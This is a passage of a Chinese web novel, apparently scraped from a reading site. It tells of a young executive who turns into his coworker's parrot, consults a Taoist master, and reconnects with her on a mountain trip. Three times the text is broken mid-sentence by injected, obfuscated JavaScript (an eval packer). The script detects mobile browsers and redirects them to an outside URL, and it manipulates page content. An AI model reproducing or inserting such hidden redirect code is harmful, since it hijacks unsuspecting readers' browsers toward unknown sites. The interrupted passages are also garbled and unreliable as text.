她叼着香芋派坐到桌前,打开手机相册,开始从浩如烟海的芒果抓拍照片中精挑细选,一二三四五六七八九,九张图三张静止不动的高清照,六张各种姿势的残影。 应该够用了,应峤又嚼进去一段,甜食叫她没有那么沮丧,她开始编辑朋友圈寻鸟启示。提供线索酬劳两千块,直接送回五千块,是她截止到下个月发工资能够预支的大部分活期存款。 在她饿不死的前提下,她会尽量找回芒果。 酒店里,沈靥星在思索,他为什么会突然变回人?按照过去他总结出的规律,晚上他变成鹦鹉,太阳升起来之后才回变成人。 变成人之后他还能如愿变回去吗? 虽然这样的想法很荒唐,但沈靥星却认为变成应峤的鹦鹉是一件好事。一个人如果足够想要得到什么的话,付出任何代价他都会愿意。 他想要应峤爱他,关注他,身边只有他,这样的事情周淮做不到,沈靥星做不到,但是芒果可以。 意识到这一点的沈靥星掩面,笑声从他手指间溢出,他突然感到很开心。 接下来,他便正襟危坐等待五点半的到来。 日光渐渐昏暗,暮色一点点淹没整座城市,也淹没沈靥星的身影。他作为灯火通明中一枚黑色的剪影,一动也不动。 一分钟,两分钟,一直到五分钟之后,他一点变化的倾向都没有。 怎么回事?沈靥星坐到已经有些僵直的身体再也支撑不住似的轻轻地晃动了下,他的手有些发麻,但他没有变成鹦鹉,他还是人。 正常的不得了的人。 他的心脏平稳地跳动,他的手脚灵活有力,他的身体依然还是人的身体,上天给他开了个大玩笑。在他意识到变成鸟有多美妙时残忍地停止了它。 沈靥星愣了半晌,才重新拿出手机。 他先给刘大师发了一个红包,对面却没有接受,反而弹出来一行字「沈总,您的情况加重了吗?」 刘大师这边回复完,那边立刻吆喝:“来大活了!” 话音刚落,他身边呼啦啦围上来一群人,个个眼冒精光,犹如饿狼扑食,七嘴八舌问道:“哪位哪位?”“什么大活,上次那个吗?”“给定金了吗?” “矜持点!”大师斥道,转头喜滋滋地盯着对话框等回复。 「不是,我变回人了。」 原来不是严重了,是好了。小刘大师脸垮了,大失所望。 「确定吗?」 小刘大师不死心,一般来说自己以为好了都是病情加重了,需要给药了。 「方便的话沈总还是来我这里一趟吧,我们面对面聊一聊。」 刘大师觉得这应该不只是玄学的问题,更重要的是沈总的精神问题。因为他接下来立刻回复到: 「我不想变成人。」 「麻烦大师了」 他们约好第二天一早在绿云山宗教事务管理中心见面。 绿云山是A市知名的旅游景点兼避暑胜地,前山开发得好,有一个绿云观负责接待周围的居民和游客,半山腰还有活泉,时不时有老头老太太拉着小车驮着四五个大矿泉水桶上山接水。后山鲜少有人踏足,都是当地人和修行隐居的居士在其中活动,其中就包括宗教事务管理中心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276785|198285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>来之前沈靥星调查过,A市有两个中心,一为宗教事务管理中心,一为宗教事务服务中心。服务中心是官方组织,负责理论研究、政策制定、贯彻执行和其他宗教建设类活动。管理中心是与政府合作的私人组织,负责调查处理不能被常人所了解的玄学灵异事件,比如变成鸟这种事。 刘大师就是管理中心的负责人,同时他还兼任许多职务,在外挂了好几个虚名。 到了后山,虽然云深露重,小径湿滑,但沈靥星依旧看到四五人影背着登山包拄着登山杖成群结队往上爬,这与他了解到的清静避世不太一样。 接引他的道童颇有些无奈,解释说是因为有人在网上发帖,说后山风景秀丽,人迹罕至,是难得的山水出片圣地,所以突然来了许多拍照的人。人多之后大家纷纷说后山难走,于是徒步爱好者也来挑战,一来二去人竟然不比前山少。 说完两人就遇到三人,在一座白身红唇童子骑青牛的雕像前合照,前方不远处还有一座同样白面红唇,双目漆黑,怒目远视的金像。 道童见状顿住脚步,出声提醒道:“几位善信,此处最好不要拍照。” 说完他便拨开道旁横生树枝,引着沈靥星继续向上。 被提点的三人见他们远去身影不由愕然,思量片刻,还是悻悻地收回手。 继续向前走,各种各样的塑像随处可见,有成队的菩萨天王,也有黄狗白兔等动物。倒是人基本见不到了,沈靥星忍不住好奇问道:“为何此处不能拍照?” “这里的塑像原本只是单纯的泥胎木偶,但平常也有山里人路过摆些贡品瓜果来祭拜,有了香火就有精怪眼馋,许多都被它们占了去,若有人拍照惹恼那些爱计较的,怕是会小病一场。”道童解释道。 精怪脾气各不相同,有善良的也有爱捉弄人的,他们平日相安无事,也不方便多管,因此只有多多提醒。 管理中心在半山腰处,位置并不高,只是路长又要绕行,所以还是费了一番功夫才到。沈靥星平时常锻炼,但走完这一个多小时的路程也有些气喘,到门口深呼吸两下才恢复从容。 这里如他拿到的照片一样简单朴素,一道红色掉漆窄门,门前挂着白色长木板,上面飘逸的写着“宗教事务管理中心”几个大字,其中事务管理已经被丛生的枝蔓所遮掩,堪堪露出几笔。 进了窄门,倒是别有洞天,整体是仿照宋代园林设计,宁静幽深。风一吹,便有潇潇竹林声。一位头顶发髻身着灰袍的小道正在给茵茵绿草浇水。见了两人便停了手中的活叫师兄,并朝沈靥星颔首。 园中屋舍不多,错落有致,道童将沈靥星引入其中一间,刘大师已经等待他许久。 与朋友圈展示出的面貌不同,在他们面前煮茶的刘大师褪去花哨惹眼的首饰,衣着朴素,竟有几分沉稳气质。 当然,在刘大师眼中,沈靥星也与他想象中不同。眼前的男人高挑漂亮,穿着最简单的卫衣牛仔,不像是公司老总,倒像是一个男大学生。 说起来,所谓沈总,其实也只有二十八岁而已。 没有太多的客套,沈靥星开门见山,“大师,我怎么样才能变回去?” 刘大师表面微笑,内心道年轻人脑回路果真异于常人,好端端人不做,非要做鹦鹉。 11. 变鸟第十一天 “别急别急”刘大师在他面前放下茶盏,“尝尝我的茶,是不是有股枣香?” 沈靥星挑眉,拿起来呷了一口,对着满脸期待的刘大师道:“我不懂茶。” 滚滚沸水翻腾,茶汤由浅变深,在他口中只有苦涩。刘大师大失所望但犹有不甘,又给他倒了一杯,“伸手,我给你看看。” 手伸过去,刘大师抓腕一探就眉头紧锁,半晌他才咂巴着嘴回过味来,“怪啊,明明没有丝毫妖力却能变成妖,你这人,你这人我还是第一次见。” 一句话砸得沈靥星心直往下沉,“大师不是说人变成妖也有先例,不仅有药还有配套的术法能解决吗?” “是啊,能让你不变妖,不能让你再变回去!”刘大师收了手理直气壮道。 “为何不能,我看古书上记载画符施法就能叫人飞天遁地变形。”沈靥星追问。 “别这么看我啊,怪有压力的,”或许是他追问的样子太有压迫感,刘大师举着壶往后一躲,“现在可是法治社会。” “法治社会,给人随便施法是违规的。”刘大师双眼睁得精神,一脸警惕。 “民不举官不究,这世界上怪事那么多,抓不到你。”沈靥星努力让自己神情舒展,劝道。 他刚说完,刘大师就将一枚锃亮的铜镜击到他眼前,他没来得及避开,整张脸正落在镜中。一时间他神魂仿佛颠倒重组,镜中人面容模糊,唯有一双眼睛绿得明显。 这是一方能照破伪装的铜镜。 “看到了吧,你人相模糊,异相初显,”刘大师利落地将镜子收回道袍,“这就是追查你的凭证,我不举,官也要追着你跑,你当他们都是吃白饭的?” 山下城市中一仓库中,有个穿Polo衫的平头瘦削男子正对着电脑飞快地打字,电脑上是正在写的调查报告。写到一半他冷不丁地打了个喷嚏,揉了揉鼻子,他摸着自己狂跳的右眼皮,嘴里念叨:“谁在念叨我,还是又出什么事了?” 他边嘀咕边咔哒咔哒地点开新来的邮件下的一连串附件。应峤如果在这里,会发现那是她的个人档案,从小到大都清清楚楚。 “不对啊小俞,她的经历没问题啊。”平头男子迅速浏览了一番,又点开应峤父母的资料,扬声道,“能不能再深入检测一下。” 被叫到的小俞是个短发年轻女子,边整理档案边头也不抬道:“检测仪器开机就要几百块,记得给我报销。” “啧啧啧,”平头男子心疼得直嘬牙花子,“还是算了,省着点花吧,勤俭节约。” “所以才让我假扮外卖员连送了一个月外卖?”小姚终于挑出来一份。 “有用就行,有用就行,”平头男子讪笑两声,继而神色一肃道,“你看清她的样子了吗,能确定吗?” “还不能,接触时间太短了,但是她的确有古怪。”小姚摇摇头道,“她的眼睛有淡淡的绿色。” “我怀疑是她身边有未登记的小妖,不是她本人有问题。” 小姚回忆起那段一闪而逝的绿芒。有机会还要想办法再见应小姐一面,跟她说几句话。 再说沈靥星离了镜子,脑中一片恍惚,竟有些昏沉,赶忙以手扶额才撑住。刚才喝下的茶此时又在舌根爆发出浓烈的香气,将他神志唤回。 “好喝吗,普通人喝不出其中奥妙。”刘大师一言难尽地看着他。 “这几天你应当感觉身体不适,气血两亏,尤其是疼痛侵入你的经脉,因为你不是妖身却强行变妖,遭不住啊。”刘大师觉得他也够能忍,变妖即是重塑身体,有拔筋抽骨之痛,他忍了不说竟然还想要变回去。 “追查我?”沈靥星定了定心神,问道,“只追查我一个人?” “不,与你有关的都会被列入追查范围,包括我,也包括你那位主人。”刘大师神情一肃。 也包括应峤吗……?沈靥星的眼暗了暗,他不想被她知道,但似乎阻拦不住。 这边刘大师还在念叨:“所有的妖怪灵异之事都要在宗教事务服务局的管辖之下。无论是从哪个犄角旮旯里来的小妖怪都要经上报、管理、登记造册。更何况你这种由人突然变成妖的,是他们重点关注的对象,我们肯定要先为你解决问题,让你好好的变成人才行,而不是放任你沉沦变成妖怪。所以这件事风险太大。” 沈靥星凝眸,是风险太大而不是做不了,看来是钱给的不够多,这事还有的谈。 “大师,我不为难你,不要你隐瞒,只要你拖些日子。”沈靥星道。 “治疗需要时间,我以后还要多跑你这里几趟,正好手里有幅吴道子的摹本,不如带过来一同鉴赏一番?” 他在A市没有足够的人脉,只能以利诱之。刘大师爱首饰爱古玩爱字画,爱一切金银俗物和风雅之事,一幅吴道子正好戳到他的心坎上。 他搓了搓手,一脸纠结又犹豫的便秘表情道:“沈总,有件事你要明白,像你这样没有妖力不能自如控制变化的人,继续下去会彻底丧失神智变成妖物。” 他说得倒是恳切,沈靥星也听进去了。但他思索良久还是垂下眼慢慢道:“那也可以,我甘之如饴。” 虽然还没有彻底变妖,但刘大师觉得他已经丧失理智,他不由得好奇问:“沈总,恕我冒昧,你到底在害怕什么?” 沈靥星闻言抬眼,对上刘大师真心的探究,一时语塞。从没有人问过他为什么害怕,他也从没思索过这件事,像是被人突然揭开妥帖的假面,他骤然觉得自己无处藏身。 滚滚沸水还在翻腾,雾气袅袅不断,土陶罐中的荷花固执地向外伸展,沈靥星正起兴有一搭没一搭地拨弄着柔软的花瓣。 突然时间停滞,他的动作僵住。害怕?他以为他害怕的是应峤爱上别人,他以为他害怕的是应峤不爱那个灰色不起眼的自己。可是聪敏如他,在此刻电光石火间,突然明白了大师真正想问的问题。 你在害怕什么? 他不是害怕,他是不信,不信自己能够获得那个结果,所以他才如此疯狂的、不顾一切地将自己的身家性命全部堆上去。他也不信应峤还像之前一样勇敢,遍体鳞伤之后还能够接受新的生活。 他一头扎进这个幻梦里,却不肯相信它会变成真的。所以他选择用鸟身来面对应峤,而不是真实的他自己。 刘大师见他表情复杂难辨,就知道他懂了自己要说什么,于是趁热打铁:“你控制不住自己的,否则不会突然变成人,不是吗?” 沈靥星艰难点头,承认。 他以为他能在白天默默守护在应峤身边,循序渐进地用有一席之地,晚上做她的鹦鹉,和她亲近,但是突然变成人这件事告诉他一切都不如他所愿。他控制不住自己的心,也控制不住自己的情绪,所以他在感到幸福的时候难以遏制地变回了人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276786|198285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这时突然荷花花瓣散开,簌簌落了半桌,心随境转,刘大师对着花瓣按着手指起卦,片刻后又有惋惜又有欣慰道:“祖师爷在上,现在有个重新开始的机会,不妨去试试吧。” 他说的是什么意思?纵使沈靥星再能看穿人心,搅动风云,也理解不了此时此刻上天突然赠予的机会。 应峤就在管理中心。 她在持续低落之后,咬牙劝自己打起精神,约了个网友来爬绿云山。结果到地方等了半个小时,人发消息说有事来不了了。 真是没有契约精神,应峤无语,但也不想被破坏了好心情。于是决定自己一个人爬上去,她选择的是后山大环线,走下来要将近六个多小时。按照她久坐办公室的体力是坚持不下来的,但是看小众攻略她了解到中途有个管理中心可以歇脚,并且食堂也开放给外来者。所以她准备在那里逛一逛,恢复体力。 她经验不足,走得慢,走走停停要看路线地图,等到了管理中心门口也将近十二点,正是饭点。这一路上虽然周遭是溪水潺潺,林静风缓,但是她依旧累得直喘气,脸也红彤彤的,冒着热气。 擦了把汗,她又将已经湿透的黑发朝耳后拢了拢,一手放在额前遮挡天光,一边努力辨认门牌。 宗教……事……管理中心。 门口还蹲着一只大肥黄猫。 应该是此处,应峤抬起腿,走过去敲了敲紧闭的朱门。猫懒洋洋地看了她一眼,又换了个爪子舔毛。 应峤原本以为她来得不巧,管理中心不开门,谁知没一会儿就有个小童探出脑袋,邀她进去。 一时间她还有些忐忑,一路上她不是没遇到那些制造粗糙、颜色鲜艳的塑像,看的她心里直发毛。现在深山之中突然开了一扇紧闭的小门,哪怕有人说是正规机构,她也有些怀疑。 她想到那些山间精怪诱人停留的旧日传闻,一股冷意顺着后背往上爬。她想走,却对着道童那张天真善意的脸犹豫不定,她又犯了心软的毛病。 那只猫也停下了动作,颇通人性地扭头,然后纵身窜了出去。 养猫的地方,应该不会是什么坏人吧。应峤给自己壮了壮胆子,迈过门槛。 “喵喵喵喵——”猫蹲在吴大师身前叫了一串。 吴大师揉两把它的脑袋,从口袋里拎出两根小鱼干丢给它,“知道了,去吧。” 猫三两口吞下,甩甩尾巴走了。 此时应峤已经走过山门,行至放生池,即将到三清殿去了。主殿两边曲径转折,竹林潇潇,与静水相映成趣,令她不由得收敛了呼吸,放慢了脚步。 这里的确是正经机构,甚至洒扫庭院的道长们对她视若无睹,全神贯注地做着手头事。不被人注意,这让应峤更加轻松,她很快领了香走进大殿之中。 殿中宁静,细小的浮尘漂浮在空气中,有道长悄悄走动,为神像换上新鲜的鲜花。一簇簇放在金瓶中,含苞怒放。 应峤手中还抓着一簇,这是刚刚一位道长叫她帮忙暂时拿一下的。应峤答应了,道长插完花,沿着神像由内而外,绕了一圈摆好金瓶,身影也渐渐远去。 她想问自己手中的花要放在哪里,却被逐渐走近的脚步声打断。外面走进来一个人,帽衫牛仔裤,面容熟悉。 小沈总,他怎么也在这里? 她正犹豫要不要出去打个招呼,可正是这一犹豫,叫她错失了时机。 12. 变鸟第十二天 沈靥星已经走上前,她只好匆匆侧身,向神像靠了靠,借助它庞大的身躯和一旁厚重的彩帛遮挡自己的身影。 应峤恋爱时恰是沈靥星较艰难的时期。那时他正在写毕业论文,导师不断提出各种要求,添加新的数据,因此他过得昼夜颠倒,通常是写一个通宵喝点补品倒头睡个四五小时又起来写。应峤捧花对着男友笑的照片传来,他备受打击,坚持了好久的精神终于崩断,高烧来势汹汹,他在医院躺了一周。 病好之后,他又开始准备答辩,等所有都结束,他人也憔悴不少。身边信教的朋友怕他深陷泥潭无法挣脱,好心带他去教堂做礼拜,听唱诗读经净化心灵,但他坐在彩窗下,看着阳光一丝一缕地透进来,只觉得心如死灰。 他不信这些虚无之物,做的唯一有用的事是去看心理医生。医生说他太过于封闭内心,太依靠自己,他对着医生发呆,心想自己大约是颗坚果,壳硬的撬也撬不开。 医生建议他回国,从根源上解决问题,这本是他一直以来准备做的事,可当他浏览机票时,却产生了近乡情怯的心情。他突然意识到了何为阴差阳错,就是他准备了许久,却发现已经被人捷足先登。 心理医生也无法解决他的问题。 等到真的回国,命运又抬手拨弄了他这颗棋子,叫他变成了一只鹦鹉。他这才对那些他原本以为的虚无之物,有了真实的感受。 所以他现在站在三清殿中。 三清祖师像前供奉着两枚杯筊,已经被人频繁使用到褪色,竹木表面也摩挲得光滑。他将杯筊拿在手中合十握住,绕着香炉走了三圈。 小沈总也会有想要实现的愿望吗?见他这副样子,应峤有些疑惑。他英俊、富足、健康,这些足够构成完整的幸福生活,他有什么需要求神问卜? 尽管这样想,应峤却无更多的好奇。她早就知道神根本不会实现他们的愿望。 小时候她曾经满怀期盼地爬好久的山,将山上大大小小的神都求了一个遍。求她父母能够和好如初,不要离婚,但是没有成功。 再长大一点,她知道人与人的缘分不可强求,于是她祈求父母能够对她好一点,能关心她,而不是将她作为攻击对方的攻击。当然,神也没有听见。 再后来她读书上班,已经学会依靠自己,但遇到香火旺盛的地方还会进去说一说自己的烦恼。她希望导师不要太卷,领导不要压榨她,但都无济于事。 那时她彻底明白,她只能依靠自己才能脱离苦海,逃出牢笼。 所以小沈总来求神问卜真的是一件很无聊也很幼稚的事。应峤垂下眼,开始数自己手中的花瓣,等待沈靥星拜完离开。 她一点都不好奇了。 一点都不。 但当沈靥星真的开口,她又忍不住偏了偏头,悄悄拨开财帛。她绝不是想要听得清楚,她只是被黑暗压着有点喘不过气而已。她已经听见自己心跳咚咚的声响。 而后道:“我是沈靥星,家住A市清州区观音山街道梧桐大道86号,我所求所问之事是应峤能不能爱我?” 笑杯。 沈靥星一愣,想三清祖师应当是没听懂,于是补充道:“她现在跟我同公司,是一个勇敢善良,会仗义执言帮助别人,笑起来很温柔的姑娘。我和她的关系是,她曾是我单方面认定的朋友,以及朝夕相对的人。” “她会不会爱上我?” 阴杯。 沈靥星原本自然的表情有些维持不住,如果笑杯还可以解释为他没表述清楚,那阴杯就明摆着告诉他不可能。 但他不死心,又掷杯。 竹木落在地面上,发出清脆的声音。在等待落地的那一刻,沈靥星就像一个等待被审判的人一样忐忑不安。 阴杯。 既然如此何必再问? 可沈靥星不死心,世界上有这么多神奇之事,为什么不肯垂怜他,给他一个机会?他执拗地继续问:“我做错了什么都可以改,我可以付出所有,有没有可能叫她喜欢我?” 掷杯。 圣杯。 沈靥星松了口气,拿起杯筊,紧紧贴在胸口,朝祖师像磕了个头。 躲在后面听完全程的应峤早已被巨大的震惊淹没。沈靥星口中的名字是自己吗,还是有人跟她同名同姓? 他竟然这样爱她。这个认知叫她凭空而生一股想要逃离的冲动。明明一遍遍求问的是沈靥星,为什么她会有羞耻感? 一阵风吹过,不远处的彩帛前后微微摇摆,上面的莲花白鹤日月星辰一并抖动起来,交织成一片光怪陆离的景象。 在这其中,刚才摆放花朵的道长又从后门走进来。应峤清醒了些,紧张不已,她怕被人发现,尤其是在这个当儿被沈靥星发现,他们该有多么紧张? 别跟我说话,别跟我说话,当做没看见我。应峤握紧花暗暗祈祷。 幸好,如她所愿,道长旁若无人地端走一盘不算新鲜的水果,没有分半点目光给她,就连她握着的鲜花也被人遗忘了。 反倒是沈靥星看到道长从神像后绕出来,主动去接过果篮,与道长攀谈着向外走。 看着他离开,应峤才终于从这种近乎濒死的紧张中挣脱出来。她长长地吸了一口气又吐出,企图让自己受到冲击的脑袋变得清醒。可是那种感觉无论如何也无法消退,有时候面对面的告白反倒不如这种无意中的撞见来的更加刺激。 再待下去的话恐怕又会出现什么意外,应峤赶紧离开,她早就忘了手里还拿着花,此时手指已经握得僵了。她只好将花放在软垫上,又朝神像拜了拜。 她走侧边,企图去沈靥星错开,可是出了门刚拐过弯就发现他像守株待兔一般背对她站在那里。 她扭头就走,沈靥星却像背后长了眼睛一样突然回身叫住了她。 “应小姐。” 应峤像被施了定身咒,她对上沈靥星含笑的眼。 明明他才说过大胆到近乎荒谬的话,现在却表现得风轻云淡,用这么客气的称谓称呼她吗?应峤无语,觉得觉得此人太会装模作样,跟刚才真是判若两人。 她没第一时间回应,沉默着不着痕迹地打量他。 沈靥星其实心中忐忑,他已经意识到,或许刘大师说的机会就是让应峤在无意中撞见他说真心话。但他不确定她听了之后会对他有什么想法,毕竟他刚才并不客气也不礼貌。 她会讨厌自己吗,还是当作无事发生? 两人依旧无言,沈靥星只好继续试探着开口:“好巧,要一起尝尝这里的素斋吗?” 差点咬了舌头,哪怕是刚毕业那会儿面对美洲最大的客户时他都没有这样紧张过。 甚至还能如此自如地邀请她共进午餐,应峤微眯起眼,回道:“好啊。” 刚才想要逃离的冲动已经消失,她反倒主动朝沈靥星走近,她看到了他微红的耳垂。 也没有那么镇定嘛。 “时间正好,麻烦这位道长为我们带路吧。”应峤抬起手腕看了一眼运动手表,歪头对在一旁看热闹不走的道长说。 被点到的道长面不改色,适时地看过来,做了个指引手势道:“饭堂在这边,请随我来吧。” 于是他们一前一后地走着,应峤在前,沈靥星在后。 走着走着应峤又发觉沈靥星跟得太近,可以说得上是亦步亦趋。应峤加快脚步,偏沈靥星腿长,一步也没有落下。 他们始终保持着很近的距离,沈靥星就像一片影子一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这是老版的配方。”沈靥星也挖了一块给自己。 应峤沉默了,老版配方和新版差异巨大,原来的老板是脑袋被驴踢了吗,进行这样的创新,怪不得公司会走下坡路。 沈靥星看她这幅欲言又止的表情,忍俊不禁:“我猜我们现在想得一样。” “这瓶酱是我自己熬的,用贵州的朝天椒和黄牛肉,我还加了一点豆干,怎么样,还可以吗?” 应峤挑了挑眉,这瓶酱一下子变得有点不一样了,于是她很给面子地又要去夹。沈靥星擦好一只不锈钢小勺递过来,两人正好撞在一起,辣椒酱滴落在桌面上。 “用这个吧。” “不好意思,我来擦。” 应峤连忙放下手中的筷子去接勺子,沈靥星则从口袋里又掏出一包纸巾。两人突然都有些手忙脚乱。 “你做得挺好吃的。” 桌面已经清理干净,应峤称赞道。 不仅好吃,而且有些熟悉,应峤感觉自己生锈的记忆齿轮又在转动了。这时有位道长走过来问他们要不要吃酥饼,刚烤出来的。 应峤没要,她已经吃得很饱,沈靥星要了一张,把辣椒酱均匀地抹上去。 饼和辣椒酱结合在一起,轻而易举地牵引出应峤的高中记忆。那时上完课之后为了抢第一批吃饭,她会百米冲刺到食堂买一张热腾腾的鸡蛋饼回来边刷题边吃。 那时候她真的很努力。 “在我年少时,公司给三中食堂供辣椒酱。”沈靥星接下来的话叫应峤也反应过来。 “莫非……”她迟钝的脑袋终于转过来,“沈总的学校和我……” “命运很神奇吧。”沈靥星咬下一口饼,他立体的五官与酥饼也相得益彰,那张弯起来的巴掌大的酥饼像塔可一样。 “嗯,还挺……奇怪的。”应峤想了想,用了这样一个词。 吃完饼的沈靥星用桌上的免洗洗手液搓了搓手,继而低头吃面,这样的他与高中模糊的影子重合在一起。应峤拼命地挖掘着那些不曾被她注意过的过去。 好像真的有这么一个人。 13. 变鸟第十三天 高中时期少年沈靥星的样子逐渐清晰起来。 他并非不起眼,相反应峤还对他有些印象。他有两个特点,一是个子高,被体育老师点去当体育委员,一是虽然总成绩平平,但数学总能拿满分,解题思路也剑走偏锋。 应峤也曾想过向他请教,讨论一些竞赛难题,但很快发现他的思路自己学不来,再加上身边有其他同学帮助,因此很快她就放弃了与他交流。毕竟那个时候的他,并不是很好接近的样子。 那时,他还不像现在有一张足够吸引人的脸。应峤看着他垂下的双眼,就连眼型走势都像艺术家恣意的一笔,他的脸无一处不美。 在青春期的时候,沈靥星那出众的五官还没有显露出来,反倒是过于锋利的骨相叫人觉得粗糙。他个子窜得太快,因此肌肉跟不上,比正常男同学要瘦一些,所以很多人在私底下悄悄叫他骷髅。 也有人觉得他像吸血鬼,因为他的眼窝深眼瞳也大,黑沉沉的盯着人看的时候,如同沁过一层冰水。 应峤发现自己竟然能想到这么多细节。 “当时你是不是体育委员?”应峤跟他确认。 “嗯,你还记得。”沈靥星一手支起下巴,身体放松。 他好像心情不错。 “所以,以后可以不叫我沈总吗?”沈靥星用一种自然的口吻道,“这样听起来感觉我们之间很陌生。” 他们本来也并不熟悉,应峤想。不过现在确实不同,听过沈靥星表白的自己很难将他再简单地视作同学。 “那……直接叫你沈靥星?”好久不曾提起的名字突然从她的舌尖滚出来,竟没有一丝阻塞。 “嗯。”沈靥星仿佛只是随意的应了,但尾音却向上勾起,眼神落在她身上。 应峤后知后觉,沈靥星好像是在……勾引她? 他的确有这种信手拈来的资本。 下山的时候,他们依旧同行。只不过两人之间不再是简单的上下级关系,反而参杂了旧日情谊,以及一些说不清道不明的东西。 后山的溪水依旧流淌不休,冲刷着岸边结满红果的枝头。应峤不由自主地被吸引,对她而言,那一簇簇红果就像沈靥星,以艳丽的外表诱惑着她,沉甸甸坠在她心口,她却不敢轻易尝试。 下山比上山要容易得多,应峤脚步加快,也许是走神,也许是大意了,她突然踩到一处湿滑,身子一歪差点跌倒。沈靥星眼疾手快,一把捞住她的手,将她拖到自己身边。 他握得很紧,却在她站稳后很快松开了手。 “别急,”沈靥星眉头拧着,神情没有刚才轻松,他想多说几句却还是压住了自己的冲动,“太着急的话容易摔跤。” 应峤点点头,说谢谢然后拉开了两人之间的距离。 沈靥星翘起的唇角落下,刚才的笑容也淡了几分,是他操之过急,刚才的行为还是起了反作用。于是再继续向前时,他只好有意无意地落后几步,不复刚才并肩的状态。 他们之间突然沉默下来。 过了一会儿,应峤实在受不了这种沉滞且尴尬的氛围,生硬地开启话题,“那时候我心里只想着学习,所以……” 所以对你印象不深。应峤话没说完就有些懊恼。 “我知道,”沈靥星接上话,“我这几年变化很大吧,有时候照镜子我自己都会恍惚,认不出自己。” 应峤僵笑两声,随即放松了些,她附和着嗯了两声。 沈靥星继续道:“我大二那年出了次车祸。” “不严重,但是国外看医生比较麻烦,轮到我的时候鼻子这边已经没法修复得跟之前一样了。” 沈靥星摸了摸自己的鼻子,中间有一点微微的凸起,这并不影响他样貌的完美,反而增添了些气势。 应峤忍不住扭头看去,的确是这样,她又发现了沈靥星的一点不同。 “不过你真的一点都不记得了吗,我们之前一起爬过这座山。”沈靥星又道。 “是高三上学期那年吗?”应峤这次记得还算清楚。 沈靥星郑重其事地回道:“对,也是在这里,你忘了?” “没忘,那时老师希望我们放松,又希望增强我们的意志力,所以带我们来爬山。”应峤道,“说起来那时候管得不严,现在很少会有这种活动了。” “是啊,我们都好幸运。”沈靥星又在说自己的心里话。 这里人迹稀少,只有浓重发亮的绿树,一泓泓绿水和被冲刷得干净的石板,两人越说越轻松,青春也一并被召回。 沈靥星继续说:“那时候我们被分成好几个队一起比赛,看谁先爬到山顶。你和我就是一队的。” 天知道这种随机的分配方式,是他自告奋勇找老师报名内定的。 “我想起来了,你在队尾,帮大家拿东西,对不对?” 坠在队伍最后的少年的影子被点亮。 沈靥星眉眼舒展,他说:“那个就是我。” 他仿佛也在回忆那个时候,他在最后一名,看谁不舒服或者太费力就上去帮忙搀扶一段路程。大家默认他是后勤的角色,所以中途休息时他给应峤递水也没有人觉得奇怪。 只不过应峤并没有注意到他,因为他总是沉默的,尤其在面对她时不爱说话。但更多是因为应峤坐在路边,一边喝水一边扭头向前看,她在心中估计还要走多久,要在哪里休息一次。 沈靥星趁着这个机会贪婪地注视着她的侧脸,她被汗打湿的黑发。 路程在他们的交谈中缩短,他们走到狭窄的拐弯处,这里石块嶙峋,没有建造的规整的石板,因此更难走一些。沈靥星主动走快几步下去,侧着身朝她伸出一只手。 应峤自然地握住他的胳膊,向下走去。 她低头看路,沈靥星则看着她,突然她没头没尾地问了一句:“你一直记得我吗?” “对。”沈靥星脱口而出。 应峤双脚已经稳稳踩在平坦处。她收回了手,却没来得及收回目光,恰与他对视。 她发现沈靥星的耳朵又红了。 沈靥星喜欢她,可是为什么呢?难道是曾经少年时代同窗的经历给他留下了不切实际的幻想?可这么多年过去,他们之间不只是样貌的改变那么简单。 “可我……” 应峤冷静地审视着自己此刻的发言,她还是将自己放在了沈靥星下属的位置上,斟酌着如何拒绝他才不会让他们之间太难看。 “没关系!”沈靥星飞快道,他意识到应峤要说什么,“我是说这么多年过去,我们又重逢,这很有缘分对吗?” 他盯着她,像是求证什么,眼神中有祈求。不要说出来,不要说出你已经不记得我,对我没有半分心动的真相。 “嗯。”应峤低低应了声。 沈靥星明白了,应峤觉得她不必再说什么。聪明人总这样心照不宣,只要几个字,几个眼神,就明白对方在想什么,然后礼貌地退去。 跟她想的一样,自从绿云山一行分别后,应峤再没从公司里偶遇沈靥星。看来前几次平白无故的接触,大概是他制造的机会。不过他被拒绝了,自然不必再碰钉子,损害自己的自尊心。 之后应峤又过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276788|198285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几天平淡日子,直到一则消息被发到她的手机里,邀请她参加今年的高中同学聚会。 